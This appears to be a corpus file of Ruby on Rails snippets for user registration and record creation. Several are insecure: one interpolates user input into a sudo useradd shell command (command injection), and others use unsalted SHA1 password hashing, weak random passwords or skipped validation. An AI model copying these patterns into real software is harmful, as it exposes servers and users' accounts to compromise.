"def create\n @user=User.new(name: user_params[:name], email: user_params[:email], type: user_params[:type], age: user_params[:age], password: user_params[:password])\n print @user.valid?\n if @user.save\n payload={user_id: @user.id}\n token = encode_token(payload)\n render json: {user: @user, jwt: token}\n else\n render json: User.all\n end\n end",
"def create_user_and_login \n\t\tinsert_into :users, {\n\t\t\tid: 1 ,\n\t\t\tfirst_name: 'First',\n\t\t\tlast_name: 'Last',\n\t\t\tlogin: 'login',\n\t\t\tpassword: 'password',\n\t\t\trole_id: 1,\n\t\t\tuid: \"a\"\n\t\t}\n\n\t\tproxy.post( 'http://my.ownet/api/session',{\n\t\t\tlogin: 'login',\n\t\t\tpassword: 'password'\n\t\t}.to_json)\n\tend",
"def registerUser\n\t\tresponse = Hash.new\n\t\t\n\t\tif params[:name] != nil and params[:pass] != nil\n\t\t\tunless User.where(:name).empty?\n\t\t\t\tresponse = {:result => :failed,:message => \"specified name is already existing\"}\n\t\t\t\trender :json => response\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\tuser = User.new\n\t\t\tuser.name = params[:name]\n\t\t\tuser.pass = params[:pass]\n\t\t\twhile user.userhash == nil do\n\t\t\t\ttmp = ((1..9).to_a + ('a'..'z').to_a).sample(25).join\n\t\t\t\tuser.userhash = tmp if User.where(:userhash => tmp).empty?\n\t\t\tend\n\n\t\t\tmystep = Step.new\n\t\t\tmystep.save\n\t\t\tuser.step_id = mystep.id\n\n\t\t\tuser.save\n\n\t\t\tresponse = {:result => :successed ,:message =>\"registered use name = #{params[:name]}\" ,:userhash => user.userhash} \n\n\t\telse\n\t\t\tresponse = {:result => :failed,:message => \"lack of information for register new user\"}\n\t\tend\n\n\t\trender :json => response\n\n\tend",
"def create\n @fortune = Fortune.new(params[:fortune])\n if current_user\n @fortune.user_username = current_user.username\n else\n @fortune.user_username = current_usersocial[:name]\n end\n\n respond_to do |format|\n if @fortune.save\n format.html { redirect_to @fortune, notice: 'Piosenka pozytywnie stworzona' }\n format.json { render json: @fortune, status: :created, location: @fortune }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fortune.errors, status: :unprocessable_entity }\n end\n end\n end",
"def register\n if request.get? then\n @user = User.new\n end\n # Запрос на создание нового пользователя\n if request.post? then\n @user = User.new(params[:user])\n # Если включена регистрация по инвайтам - проверяем правильность введённого кода\n if SiteGlobal.invite_reg && !Invite.valid?(params[:invite]) then\n @user.errors[:base] << \"Invalid invation code\"\n render :register and return\n end\n # Пользователь может создать только аккаунт студента или преподавателя\n render_403 and return unless User.in_user_group?(@user)\n # Если запись успешно создана\n if @user.save then\n # Создание записи в дополнительной таблице\n if @user.student? then\n Student.create(user_id: @user.id)\n elsif @user.lecturer? then\n Lecturer.create(user_id: @user.id, confirm_level: Lecturer::CONFIRM_LEVELS[:unconfirmed])\n end\n if SiteGlobal.invite_reg\n Invite.use(params[:invite])\n end\n login, password = params[:user][:login], params[:user][:password]\n session[:user_id] = User.authenticate(login, password).id\n if @user.lecturer? then\n redirect_to settings_lecturer_path(reg: 1)\n elsif @user.student? then\n redirect_to settings_student_path(reg: 1)\n else\n redirect_to :root\n end\n else\n render :register\n end\n end\n end",
"def create\n @user = User.new(user_params)\n @user.save_steam_fields(session)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to root_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n session[:user_id] = @user.id\n HerosUsers.create(:hero_id => params[:first_hero], :user_id => @user.id)\n HerosUsers.create(:hero_id => params[:second_hero], :user_id => @user.id)\n HerosUsers.create(:hero_id => params[:third_hero], :user_id => @user.id)\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def register\n @title=\"Register\"\n if param_posted?(:user)\n \n #output goes to log file (log/development.log in development mode)\n #logger.info params[:user].inspect\n \n #output goes to browser\n #raise params[:user].inspect\n \n @user=User.new(params[:user])\n if @user.save\n @user.login!(session)\n flash[:notice] = \"User #{@user.screen_name} created!\"\n redirect_to_forwarding_url\n else\n @user.clear_password!\n end\n end\n end",
"def create\n favourite=current_user.add_favourite(params[:key])\n if favourite\n respond_to do |format|\n format.json { render :json => jsonp(favourites_to_json([favourite])) }\n format.xml { render :xml => favourites_to_xml([favourite]) }\n format.text { render :text => text_not_supported }\n end\n else\n render_error('Favourite not found', 404)\n end\n end",
"def create\n @user = User.new\n @user.name = params[\"name\"]\n @user.password = params[\"password\"]\n @user.email = params[\"email\"]\n if @user.save\n session[:user_id] = @user.id\n if session[:instagram]\n @identity = Identity.find_by_uid(session[:instagram][:uid])\n @identity.user_id = @user.id\n @identity.save\n end\n respond_to do |f|\n f.js {\n render 'user_create.js.erb', :notice => \"User created successfully!\"\n }\n f.html { redirect_to root_path, :notice => \"User created successfully!\" }\n end\n else\n respond_to do |f|\n f.js {\n render 'user_create.js.erb', :notice => \"Sorry, something went wrong. Please try again.\"\n }\n f.html { \n redirect_to new_user_path, :notice => \"Sorry, something went wrong. Please try again.\"\n }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n @user.gravatar_usage = true if request.format.json?\n respond_to do |format|\n if @user.save\n format.html { redirect_to root_url }\n format.json { render json:{message: 'Creacion exitosa', activate: edit_account_activation_url(@user.activation_token, email: @user.email)}, status: :ok, location: @user}\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@user = User.new(user_params)\n\n\t\tif params[:user][:social_login] == 1 \n\t\t\tuser_email = params[:user][:email]\n\t\t\tuser = User.find_by_email(user_email)\n\t\t\tif user_email.present? && user.present?\n\t\t\t\tlogger.info \"=======No facebook user===========\"\n\t\t\t\tsign_in user, store: false\n\t\t\t\tuser.update_device_token_with_social(params)\n\t\t\t\tuser.save\n\t\t\t\ttoken = Tiddle.create_and_return_token(user, request)\n\t\t\t\trender json: user, status: 200, serializer: Website::V1::UserSerializer, token: token\n\t\t\telse\n\t\t\t\t#template = NotificationTemplate.where(category: I18n.t('Notification.welcome')).last\n\t\t\t\tlogger.info \"============facebook user==========\"\n\t\t\t\tlogger.info \"=======params[:user]==========\"\n\t\t\t\tfacebook_user = User.find_by_facebook_id(params[:user][:facebook_id]) if params[:user][:facebook_id].present?\n\t\t\t\t\n\t\t\t\tif facebook_user.present?\n\t\t\t\t\tlogger.info \"======#{facebook_user.inspect}=======\"\n\t\t\t\t\tcount = facebook_user.sign_in_count + 1\n\t\t\t\t\tfacebook_user.update(sign_in_count: count)\n\t\t\t\t\tsign_in facebook_user, store: false\n\t\t\t\t\tfacebook_user.update_device_token_with_social(params)\n\t\t\t\t\ttoken = Tiddle.create_and_return_token(facebook_user, request)\n\t\t\t\t\trender json: facebook_user, status: 200, serializer: Website::V1::UserSerializer, token: token\n\t\t\t\telse\n\t\t\t\t\tlogger.info \"==========validation failed===========\"\n\t\t\t\t\tif @user.save(validate: false)\n\t\t\t\t\t\tlogger.info \"==========user saves======#{@user.inspect}=========\"\n\t\t\t\t\t\tusers_creation(params)\n\t\t\t\t\t\ttoken = Tiddle.create_and_return_token(@user, request)\n\t\t\t\t\t\tusers_social_login(params)\n\t\t\t\t\t\trender json: @user, status: 201, serializer: Website::V1::UserSerializer, token: token\n\t\t\t\t\telse\n\t\t\t\t\t\tlogger.info \"==========user errors======#{@user.errors.inspect}=========\"\n\t\t\t\t\t\trender json: { errors: @user.errors}, status: 422\n\t\t\t\t\tend\n\t\t\t\t\t#@user.send_welcome_notification(template, params)\n\t\t\t\tend\n\t\t\t\t#@user.send_welcome_notification(template)\n\t\t\tend\n\t\telsif @user.save\n\t\t\tlogger.info \"=======No social login===========\"\n\t\t\ttoken = Tiddle.create_and_return_token(@user, request)\n\t\t\trender json: @user, status: 201, serializer: Website::V1::UserSerializer, token: token\n\t\t\tusers_creation(params)\n\t\telse\n\t\t\trender json: { errors: @user.errors}, status: 422\n\t\tend\n\tend",
"def create\n @user = User.new(user_params)\n @user.activation = false\n\n respond_to do |format|\n if @user.save\n# session[:login] = @user\n# session[:user_id] = @user.id\n secret = SecureRandom::hex(50)\n session[:secret] = secret\n UserEntry.semiRegistered(@user, secret).deliver\n format.html { redirect_to users_entry_mail_send_path, notice: 'User was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user }\n else\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n if request.xhr? && params[:user]\n \t@user = User.new(params[:user])\n \tif params[:user][:hashed_password] == params[:user][:hashed_password_confirmation]\n\t \t@user.hashed_password = Auth.hash_password(@user.hashed_password)\n \t\tif @user.save\n\t\t\t\tUserMailer.registration_confirmation(@user).deliver\n\t\t\t\tsession[:user] = @user\n\t\t\t\trender :json => @user\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\n\t\trender :json => @user\n\t\treturn\n \t\n\telse if params[:user][:hashed_password].to_s != params[:user][:hashed_password_confirmation]\n \t\tredirect_to register_path, :flash => {:error => 'Podane hasła nie są identyczne'}\n \telse\n\t\t\t@user = User.new(params[:user])\n\t\t\t@user.hashed_password = Auth.hash_password(@user.hashed_password)\n\t\t\trespond_to do |format| \n\t\t\t\tif @user.save\n\t\t\t\t # confirmation email sending\n\t\t\t\t UserMailer.registration_confirmation(@user).deliver\n\t\t\t\t \n\t\t\t\t format.html { redirect_to(public_path, :flash => {:notice => 'Konto utworzone. Powiadomienie zostało wysłane na maila.'}) }\n\t\t\t\t #format.xml { render :xml => @user, :status => :created, :location => @user } \n\t\t\t\telse\n\t\t\t\t format.html { render :controller => \"public\", :action => \"register\" }\n\t\t\t\t format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n\t\t\t\tend \n\t\t\tend\n\t\tend\n end\n end",
"def create\n @user = User.new(user_params)\n\n if lastUser = User.all().last()\n @user.member_no = lastUser.id\n else\n @user.member_no = 0\n end\n @user.member_no += 1\n @user.join_date = Date.today.to_s\n\n @user.sex = \"\" if @user.sex.nil? # 设置为默认值\n\n respond_to do |format|\n if @user.save\n # 注册后先登录再说\n format.html { redirect_to login_url}\n format.json { render :show, status: :created, location: @user }\n else\n #puts @user.errors.full_messages\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @user_fable = UserFable.new(user_fable_params)\n\n respond_to do |format|\n if @user_fable.save\n format.html { redirect_to @user_fable, notice: 'User fable was successfully created.' }\n format.json { render :show, status: :created, location: @user_fable }\n else\n format.html { render :new }\n format.json { render json: @user_fable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n object = params[:object]\n entry = params[:entry]\n\n unless object && entry \n raise IOError, \"Incorrect params for fb subscription updates\"\n end\n\n user_fb_ids = entry.map{|permission| permission['uid']} \n users = User.find_all_by_fb_user_id(user_fb_ids)\n users = users.select do |user| \n user.visited_at && user.visited_at > 30.days.ago \n end\n \n if object == 'user'\n users.each do |user|\n ProcessingQueue.push(\n UserDelayedObserver,\n :mine_fb_data,\n user) \n end \n end\n\n rescue => ex\n handle_exception(ex)\n ensure\n respond_to do |format|\n format.json\n end\n end",
"def userweight\n\t\t@weight=Weight.create(:weight=>params[:weight],:user_id=>params[:user_id])\n\t\t@user=User.find(params[:user_id])\n\n\t\trespond_to do |format|\n\t\tif @weight.save\t\n\t\tformat.html { render :json => \"weight saved.\" }\t\n\t\tformat.js { render :json => \"weight saved.\" }\t\n\t\tend\n\t\tend\n\t\tend",
"def registerUser(name, usernumber)\n # puts (\"adding user\")\n @users.store(name, usernumber)\n end",
"def create\n @user = User.new(params[:user])\n respond_to do |format|\n if @user.save\n name = params[:user][:name]\n\n seeds = ('a'..'z').to_a\n seeds.concat( ('A'..'Z').to_a )\n seeds.concat( (0..9).to_a )\n seeds.concat ['/', '.']\n seeds.compact!\n \n salt = '$1$'\n 8.times { salt << seeds[ rand(seeds.size) ].to_s }\n password = params[:user][:password].crypt(salt)\n logger.info(password)\n system(\"sudo useradd #{name} -s #{Rails.root}/script/gitty_shell.rb -p '#{password}'\")\n system(\"sudo -u #{name} git init /home/#{name}\")\n system(\"sudo chmod 755 /home/#{name}\")\n format.html { redirect_to home_url }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def register\n #Variable setting\n email = params[:user][:email]\n pw = params[:user][:password]\n pw_confirm = params[:user][:password_confirmation]\n debateName = params[:user][:debateName]\n firstName = params[:user][:firstName]\n lastName = params[:user][:lastName]\n age = params[:user][:age]\n gender = params[:user][:gender]\n location = params[:user][:location]\n about = params[:user][:about]\n\n #user instance we are trying to register\n @user = User.new(:debateName => debateName, :email => email, :password => pw, :password_confirmation => pw_confirm, :firstName => firstName, :lastName => lastName, :age => age, :gender => gender, :admin => false, :avgDuration => 0, :numDebates => 0, :upvotes => 0)\n\n @user.about = about\n @user.location = location\n\n #Does the new user pass validations?\n if @user.valid?\n @user.updateDebateRank\n f = File.new(\"public/blank_profile.png\")\n @user.photo = f\n f.close\n @user.save\n session[:user_id] = @user.id\n redirect_to :controller => :users, :action => :home\n else\n flash[:register_error] = @user.errors\n @user = User.new\n render :index\n end\n end",
"def create\n @user = User.new(user_params)\n @user.password = (Random.rand() * 10000).floor.to_s\n @user.helping = params[:helping]\n if @user.save\n term = params[:expertise].gsub!(/\\s+/, '')\n expertise = Expertise.find_by(name: term)\n login(@user)\n redirect_to search_path(expertise.id)\n end\n end",
"def create\n #users\n flag = params[:user][:name].split('#')[0]\n role = params[:user][:name].split('#')[1]\n name = params[:user][:name].split('#')[2]\n location = params[:user][:name].split('#')[3]\n phone = params[:user][:phone]\n\n #products\n product_name = params[:user][:name].split('#')[1]\n price = params[:user][:name].split('#')[2]\n\n #whitelist\n maize_set = ['mahindi', 'maize']\n beans_set = ['maharagwe', 'mbosho', 'beans']\n potatoe_set = ['potatoe', 'viazi', 'waru']\n\n begin\n if flag.downcase == 'register'\n if User.exists?(phone: phone)\n if role.downcase == 'farmer'\n if User.exists?(phone: phone, role: '1')\n @user = User.find_by_phone(phone)\n KannelRails.send_message(phone, \"You have already been registered for the service as #{@user.name}\")\n else\n @user = User.create(name: name, phone: phone, role: '1')\n if @user.save\n KannelRails.send_message(phone, 'You have successfully been registered as a Farmer to Ukulima Texts.\n You can post your rates for maize, beans or potatoe using Sell#Product#price.')\n end\n end\n elsif role.downcase == 'client'\n if User.exists?(phone: phone, role: '2')\n @user = User.find_by_phone(phone)\n KannelRails.send_message(phone, \"You have already been registered for the service as #{@user.name}\")\n else\n @user = User.create(name: name, phone: phone, role: '2')\n if @user.save\n KannelRails.send_message(phone, 'You have successfully been registered as a Client to Ukulima Texts.\n You can query for potatoe, maize or beans using Buy#ProductName')\n end\n end\n end\n else\n if role.downcase =='farmer'\n logger.info 'Registering farmer'\n @user = User.create(name: name, phone: phone, role: '1')\n if @user.save\n KannelRails.send_message(phone, 'You have successfully been registered as a Farmer to Ukulima Texts.\n You can post your rates for maize, beans or potatoe using Sell#Product#price.')\n end\n elsif role.downcase == 'client'\n @user = User.create(name: name, phone: phone, role: '2')\n if @user.save\n KannelRails.send_message(phone, 'You have successfully been registered as a Client to Ukulima Texts.\n You can query for potatoe, maize or beans using Buy#ProductName')\n end\n else\n KannelRails.send_message(phone, 'Wrong format. Check your spelling and try again with Register#Client#Name\n Register#Farmer#Name')\n end\n end\n elsif flag.downcase == 'sell'\n if User.exists?(phone: phone, role: '1')\n @user = User.find_by_phone(phone)\n begin\n if maize_set.include? product_name.downcase\n maize(@user, phone, price)\n elsif beans_set.include? product_name.downcase\n beans(@user, phone, price)\n elsif potatoe_set.include? product_name.downcase\n potatoe(@user, phone, price)\n else\n KannelRails.send_message(phone, 'You can only post for potatoe, beans or maize. Did you misspell? Correct and try again.')\n end\n rescue ActiveRecord::RecordNotUnique\n KannelRails.send_message(phone, 'Already posted the product. Use format Update#Product#Price to make changes.')\n end\n else\n KannelRails.send_message(phone, 'You must register as farmer to post your product.\n To Register, send a text with format Register#Farmer#Name')\n end\n elsif flag.downcase == 'buy'\n if User.exists?(phone: phone)\n if Product.exists?(name: product_name.downcase)\n product = Product.find_by_name(product_name.downcase)\n @users = User.in_products(product.id)\n users = []\n @users.each do |user|\n @price = product.prices.where(\"user_id = ?\", user.id).first\n users << \"name: #{user.name}, phone no.: #{user.phone}, price: Ksh #{@price.amount unless @price.nil?} per kilo.\"\n end\n\n unless users.empty?\n KannelRails.send_message(phone, \"Farmers selling #{product_name} #{users.map.with_index {|item, index| \"#{index+1}. #{item}\"}}\")\n else\n KannelRails.send_message(phone, 'No farmer has posted on this product yet.')\n end\n else\n KannelRails.send_message(phone, 'There is no such product. Supported products are potatoe, maize and beans.\n Did you misspell? Try again.')\n end\n else\n KannelRails.send_message(phone, 'You are not signed up for Ukulima service. To view products, send text with\n format Register#Client#Name')\n end\n elsif flag.downcase == 'update'\n if Product.exists?(name: product_name.downcase)\n product = Product.find_by_name(product_name.downcase)\n user = User.find_by_phone(phone)\n @price = product.prices.where('user_id = ? AND product_id = ?',user.id,product.id).first\n @price.update(amount: price.delete(' '))\n if @price.save\n KannelRails.send_message(phone, \"Product successfully updated. New price Ksh #{@price.amount}\")\n else\n KannelRails.send_message(phone, 'Product Price must be a digit. Retry setting price to a number.')\n end\n else\n KannelRails.send_message(phone, 'There is no such product. Supported products are potatoe, maize and beans.\n Did you misspell? Try again.')\n end\n elsif params[:user][:name].downcase == 'stop'\n if User.exists?(phone: phone)\n user = User.find_by_phone(phone)\n if user.destroy\n KannelRails.send_message(phone, 'You have been unsubscribed from Ukulima service. To signup again,\n send text with format Register#Farmer#Name or Register#Client#Name')\n end\n else\n KannelRails.send_message(phone, 'You are not subscribed to Ukulima service.')\n end\n else\n KannelRails.send_message(phone, 'Incorrect format. Please retry with correct format and spelling.')\n end\n end\n\n\n #respond_to do |format|\n # if @user.save\n # format.html { redirect_to @user, notice: 'User was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @user }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @user.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def create\r\n\r\n # Make a copy of the user params\r\n user_params = (params[:user]).clone\r\n\r\n unless ApplicationHelper.validate_key(request.headers[\"Validation-Key\"])\r\n # If the validation key is there, then this is a test app talking to us, so\r\n # accept whatever secret key is passed in. Otherwise, generate a random key.\r\n user_params.merge!(:secretkey => SecureRandom.uuid)\r\n end\r\n\r\n # initialize bucks to be 200 and member to be false\r\n user_params.merge!(:bucks => 200, :membertime => nil)\r\n\r\n # handle fb friends case\r\n friends = user_params.delete(:fb_friends)\r\n if friends\r\n fbid = user_params[:fbid]\r\n available_friends = fb_friends_helper(fbid, friends)\r\n\r\n user_params.merge!(:fb_friends => available_friends)\r\n end\r\n\r\n # Create the new user\r\n @user = User.new(user_params)\r\n\r\n respond_to do |format|\r\n if @user.save\r\n\r\n # Update bucks for the user for this week\r\n start_date = Time.now.beginning_of_week.to_date\r\n update_bucks_lb(@user.id, user_params[:bucks], start_date)\r\n\r\n log_event(:user, :created, user_params)\r\n\r\n # Be cautious about creating users through the website. The general case is\r\n # that users are only ever created via the JSON API. The website interface\r\n # should only be used for debugging purposes.\r\n format.html { redirect_to @user, notice: 'User was successfully created.' }\r\n format.json { render json: @user.as_json(:only => [:id, :fbid, :membertime, :bucks, :email, :secretkey]) }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json {\r\n create_error(:unprocessable_entity, :post, user_params, @user.errors)\r\n }\r\n end\r\n end\r\n end",
"def add_user_to_db(screen_name)\n user = github.get_user(screen_name)\n Cheepcreep::GithubUser.create(:login => json['login'],\n :name => json['name'],\n :blog => json['blog'],\n :followers => json['followers'],\n :following => json['following'],\n :public_repos => json['public_repos'])\n\nend",
"def add_user(db, name, age, current_weight, goal_weight, max_mile)\n\tdb.execute(\"INSERT INTO users (name, age, current_weight, goal_weight, max_mile) \n\tVALUES (?, ?, ?, ?, ?);\", [name, age, current_weight, goal_weight, max_mile]\n\t)\nend",
"def register\n @user=User.new(user_params)\n if @user.save\n render json: {status: true, message: 'User registered !', user: Api::UserSerializer.new(@user)}, status: 201\n else\n render json: {status: false, message: 'Failed to register !'}, status: 402\n end\n end",
"def createUser(nickname) \n usr = User.new(nickname)\n backend_addUser(usr) \n end",
"def create\n @fish = Fish.new(fish_params)\n\t\t@user = User.find_by email: params[:user][:email]\n\t\t@fish.user_id = @user.id\n\t\tif @fish.save\n\t\t\t@fish.fish_photo = \"fish#{@fish.id}.jpeg\"\n\t\t\t@fish.save\n\t\t\timage_convert(@fish.id)\n \t@weather = @fish.weathers.create(weather_params)\n \trespond_to do |format|\n \tif @weather.save\n \tformat.html { redirect_to @fish, notice: 'Fish was successfully created.' }\n \tformat.json { render action: 'show', status: :created, location: @fish }\n \telse\n \tformat.html { render action: 'new' }\n \tformat.json { render json: @fish.errors, status: :unprocessable_entity }\n \tend\n \tend\n\t\tend\n end",
"def save_registration(params)\r\n random_pass = 4.times.map { (0..9).to_a.sample }.join\r\n stgu = Hash.new\r\n stgu['__c'] = 'stgu'\r\n stgu['__p'] = [\r\n nil,\r\n nil,\r\n nil, \r\n 1,\r\n params[:email],\r\n random_pass,\r\n nil,\r\n params[:first_name],\r\n params[:middle_name],\r\n params[:last_name],\r\n params[:phone],\r\n nil,\r\n Settings.register_location,\r\n params[:birth_date]\r\n ]\r\n\r\n address = [\r\n nil,\r\n nil,\r\n nil,\r\n params[:street_address],\r\n nil,\r\n params[:city],\r\n nil,\r\n params[:state],\r\n 'US',\r\n params[:zip_code]\r\n ]\r\n\r\n stgma = Hash.new\r\n stgma['__c'] = 'stgma'\r\n stgma['__p'] = address\r\n\r\n stgba = Hash.new\r\n stgba['__c'] = 'stgba'\r\n stgba['__p'] = address\r\n\r\n stgu_json = stgu.to_json\r\n stgma_json = stgma.to_json\r\n stgba_json = stgba.to_json\r\n\r\n register_path = 'https://catalog.tadl.org/osrf-gateway-v1?service=open-ils.actor&method=open-ils.actor.user.stage.create¶m='\r\n register_path << stgu_json.to_s\r\n register_path << '¶m=' + stgma_json.to_s\r\n register_path << '¶m=' + stgba_json.to_s\r\n\r\n if Settings.register_newsletter == true && params[:enews] == 'true'\r\n uri = URI(Settings.register_listapi_url)\r\n\r\n params = {\r\n 'check' => ENV[\"LISTAPI_KEY\"],\r\n 'email' => params[:email],\r\n 'firstname' => params[:first_name],\r\n 'lastname' => params[:last_name],\r\n 'city' => params[:city],\r\n 'state' => params[:state],\r\n 'zip' => params[:zip_code],\r\n }\r\n\r\n res = Net::HTTP.post_form(uri, params);\r\n # puts res.body if res.is_a?(Net::HTTPSuccess) # Uncomment for DEBUG\r\n\r\n end\r\n\r\n uri = URI.parse(register_path)\r\n response = Net::HTTP.get_response(uri)\r\n if response.code == '200'\r\n return JSON.parse(response.body)\r\n else\r\n return 'error'\r\n end\r\n\r\n end",
"def register\n\t\tif User.where(username: user_params[:username]).present?\n\t\t\trender json: { status: 'error', code: 400, data: @user,\n message: 'User already exists'} \n\t\telse\n\t\t\t@user = User.new(user_params)\n\t\t\tpassword = Digest::SHA1.hexdigest(params[:user][:password])\n\t\t\t@user.encrypted_password = password\n\t\t\t@user.save\n\t\t\trender json: { status: 'success', code: 200, data: @user,\n message: 'User registered successfully'} \n\t\tend\n\tend",
"def create(email = params[:my_email], senha = params[:my_password])\n \n session[:token]= expa_authentication(email,senha) \n if session[:token]== nil\n flash[:warning] = \"E-mail ou senha inválida\"\n return redirect_to \"/authentication/login\" \n else\n #session[:token] = cj.jar['experience.aiesec.org']['/'][\"expa_token\"].value[44,64] #Take the token code for API. First version\n #request the expa's current user data\n @request = \"https://gis-api.aiesec.org:443/v1/current_person.json?access_token=#{session[:token]}\"\n resp = Net::HTTP.get_response(URI.parse(@request))\n data = resp.body\n @current_person = JSON.parse(data)\n #Check if the member is affiliated to AIESEC Brazil\n if @current_person['person']['home_mc']['id'] != 1606\n flash[:warning] = \"BAZICON is only available for AIESEC in Brazil members\"\n return redirect_to \"/authentication/login\"\n end\n #Find the user on system\n @user = User.find_by_email(params[:my_email])\n\n #create sessions if the user exist, else create a user automaticaly \n if @user\n reset_session\n session[:user_id] = @user.id\n @user.local_commitment = @current_person['person']['home_lc']['id']\n User.cache_photo(session[:user_id])\n redirect_to authentication_welcome_path\n #@user.photo_url = @current_person[\"person\"][\"profile_photo_url\"]\n else\n @user = User.new(:name => @current_person['person']['full_name'], :email => email )\n @user.photo_url = @current_person['person'][\"profile_photo_url\"]\n @user.postion = @current_person['current_position']['team']['team_type']\n @user.local_commitment = @current_person['person']['home_lc']['id']\n @user.save\n @user_name = @user.name\n session[:user_id] = @user.id\n User.cache_photo(session[:user_id])\n redirect_to authentication_welcome_path\n end\n end\n end",
"def create\n if user_interest_params && @current_user.id == user_interest_params[:user_id].to_i #only create them if the current user = the parameter user\n \n @user_id = user_interest_params[:user_id]\n\n count = 1\n interests_to_add = does_interest_exist(user_interest_params) #only add interests that don't exist yet\n \n if interests_to_add.length >= 1 #only run this if there are interests to add\n interests_to_add.each do |interest|\n @user_interest = UserInterest.new(user_id: @user_id, interest_id: interest)\n \n if @user_interest.save\n if count == interests_to_add.length #show success only for the last one\n render json: { \n status: 200,\n message: \"Successfully added user interests\",\n user_interests: @user_interest\n }.to_json\n end\n else\n render json: {\n status: 500,\n message: \"Couldn't save user interests\",\n errors: @user_interest.errors\n }.to_json\n end\n count += 1\n end\n else #if there are no interests to add, state so.\n render json: {\n status: 200,\n message: \"No interests to add\"\n }.to_json\n end\n else\n render json: {\n status: 400,\n message: \"Invalid authentication\"\n }.to_json\n end\n end",
"def create\n\t\tif session[:user]\n\t\t\t@userhashtag = Userhashtag.new()\n\t\t\t@userhashtag.user_id = session[:user].id\n\n\t\t\t#Strip the '#' if the user put it\n\t\t\thashtag_name = params[:userhashtag][:name]\n\t\t\tif hashtag_name[0] == '#'\n\t\t\t\thashtag_name[0] = ''\n\t\t\tend\n\n\t\t\t#Get the hashtag ID from the name, create if doesn't exist\n\t\t\t@hashtag = Hashtag.find(:first, conditions:[\"name = ?\",hashtag_name])\n\t\t\tif (!@hashtag)\n\t\t\t\th = Hashtag.new()\n\t\t\t\th.name = params[:userhashtag][:name]\n\t\t\t\th.save\n\t\t\t\t#Now get the hashtag\n\t\t\t\t@hashtag = Hashtag.find(:first, conditions:[\"name = ?\",hashtag_name])\n\t\t\tend\n\n\t\t\t@userhashtag.hashtag_id = @hashtag.id\n\t\t\t@userhashtag.save\n\n\t\t\t#Set the name of the new element\n\t\t\t@userhashtag.name = params[:userhashtag][:name]\n\t\t\t@userhashtag[\"name\"] = params[:userhashtag][:name]\n\n\t\t\trender json: @userhashtag, status: :created\n\n\t\t\t#render json: @post, status: :created\n\t\t\t#redirect_to :back\n\t\tend\n\tend",
"def create\n my_facility = MyFacility.find(params[:my_facility_id])\n current_user.add_favorite(my_facility)\n flash[:success] = \"お気に入りに追加しました\"\n redirect_back(fallback_location: root_path)\n end",
"def create\n @user = User.new(params[:user])\n\trecipe_list = RecipeList.create\n\t@user.recipe_list = recipe_list\n respond_to do |format|\n if @user.save\n format.html { redirect_to(root_url, :notice => 'Registration successful') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @feature = Feature.new(feature_params)\n ##Le asigno el id del usuario que esta logueado en ese momento\n @feature.publicationDate = Time.now\n @feature.publicationState = 'Pendiente' \n @feature.user = User.find(session[:user_id])\n @feature.totalLikes = 0\n respond_to do |format|\n if @feature.save\n ##Despues de salvado el articulo, le asigno por defecto unos valores\n format.html { redirect_to user_path(current_user)}\n format.json { render :show, status: :created, location: @feature }\n else\n format.html { render :new }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(reg_params)\n @user.character_id = params[:character_id].to_i == 0 ? create_character(params[:character]).to_i : params[:character_id].to_i\n return render json: {'reg' => 'NO', 'err' => 'NO_VALID_EMAIL'} unless email_valid(@user)\n return render json: {'reg' => 'NO', 'err' => 'BAD_CHARACTER'} if @user.character_id == 0\n unless uniq_user(params)\n return render json: {'reg' => 'NO', 'err' => 'REPLACE_LOGIN_OR_EMAIL'}\n end\n save_success = false\n unless params[:soc].nil?\n soc = create_by_soc(@user, params[:soc])\n if soc == 0\n save_success = @user.save\n session[:user_id] = @user.id if save_success\n elsif soc == 1\n @err = 'NO_CORRECT_ACCESS_TOKEN'\n elsif soc == 2\n @err = 'USER_SOC_REPLACE'\n end\n return render json: {'reg' => (save_success ? 'YES' : 'NO'), 'err' => @err}\n end\n save_success = @user.save\n session[:user_id] = @user_id if save_success\n render json: {'reg' => (save_success ? 'YES' : 'NO'), 'err' => @err}\n end",
"def register_user\n user_data = @view.display_registration \n new_user = User.new(user_data[0], user_data[1], user_data[2], user_data[3]) \n access = user_data[2].to_i\n case access\n when 1\n @client.save_info(new_user)\n login_user\n when 2\n @seller.save_info(new_user)\n login_user\n when 10\n @admin.save_info(new_user)\n login_user \n end \n end",
